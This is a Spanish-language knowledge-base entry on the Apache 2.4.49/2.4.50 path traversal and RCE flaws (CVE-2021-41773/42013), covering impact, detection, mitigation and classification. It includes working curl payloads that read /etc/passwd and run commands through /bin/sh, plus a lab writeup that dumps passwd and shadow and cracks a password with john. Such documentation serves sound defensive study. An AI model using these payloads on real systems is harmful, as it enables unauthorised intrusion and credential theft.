1. Descripción técnica
CVE-2021-41773 es una vulnerabilidad de Path Traversal y, bajo condiciones adicionales, Remote Code Execution, introducida en Apache HTTP Server 2.4.49. Un cambio en la normalización de rutas hizo que el tratamiento de %2e, la codificación de ., fuera insuficiente. Una URL preparada puede atravesar directorios mediante una ruta asociada por directivas como Alias.
Consecuencias:
- Lectura de archivos arbitrarios fuera del directorio web (p. ej.
/etc/passwd), siempre que las rutas no estén protegidas porrequire all denied. - Ejecución remota de código si
mod_cgiestá habilitado: se puede invocar un binario del sistema (como/bin/sh) a través del traversal y pasarle comandos en el cuerpo de la petición.
El parche inicial de 2.4.50 resultó incompleto. CVE-2021-42013 describe la variante que elude esa corrección con otra codificación de la ruta.
2. Impacto
- Divulgación de archivos sensibles del servidor (
/etc/passwd,/etc/shadowsi los permisos lo permiten, configuraciones, claves). - RCE no autenticado cuando CGI está habilitado para la ruta alcanzada, con los privilegios del proceso de Apache.
- Afectó a miles de servidores expuestos; fue explotada de forma masiva poco después de su publicación.
3. Historia y evolución
- Octubre de 2021: Apache publica CVE-2021-41773 para la 2.4.49. En días se observan exploraciones masivas.
- El parche de la 2.4.50 se descubre incompleto → CVE-2021-42013 (doble encoding).
- La solución definitiva llega con Apache 2.4.51.
4. Condiciones necesarias
- Apache HTTP Server 2.4.49 (o 2.4.50 para la variante 42013).
- Rutas accesibles sin
require all denied(configuración por defecto relajada, p. ej. un alias/cgi-bin/). - Para el RCE:
mod_cgihabilitado.
5. Validación y detección
- Fingerprint de versión:
nmap -sV -p80 target # Apache httpd 2.4.49 ((Unix))- Lectura de archivo (path traversal):
curl -s --path-as-is "http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd"- Prueba de RCE (con mod_cgi):
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; id" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"6. Mitigación
- Actualizar a Apache 2.4.51 o posterior.
- Configurar
require all deniedpara los directorios fuera del DocumentRoot. - Deshabilitar
mod_cgisi no se usa.
7. Explotación documentada en los writeups
7.1. 045-apaches
Identificada la versión 2.4.49, usamos un exploit público para leer /etc/passwd y /etc/shadow, y luego crackeamos con john:
❯ searchsploit apache | grep 2.4.49
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE) | multiple/webapps/50383.sh
❯ python CVE-2021-41773.py -t 192.168.1.43
--------------------------------------------------------
| Apache2 2.4.49 - Exploit |
--------------------------------------------------------
>>>
# tras volcar passwd y shadow:
❯ /opt/john/run/unshadow passwd shadow > unshadow.txt
❯ /opt/john/run/john -w=rockyou.txt unshadow.txt
iamtheone (squanto)8. Clasificación
- Tipo: Path Traversal → Information Disclosure / Remote Code Execution
- CVE: CVE-2021-41773 (y CVE-2021-42013 para la variante de doble encoding)
- CWE:
- CWE-22 – Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
- CWE-98 / CWE-78 – según el vector (inclusión / OS command injection vía CGI)
9. Referencias y conexiones
- Apache HTTP Server 2.4 vulnerabilities.
- NVD: CVE-2021-41773.
- NVD: CVE-2021-42013.
- Relacionada con Arbitrary File Read. No debe clasificarse como LFI (Local File Inclusion) cuando Apache sólo devuelve el archivo como dato.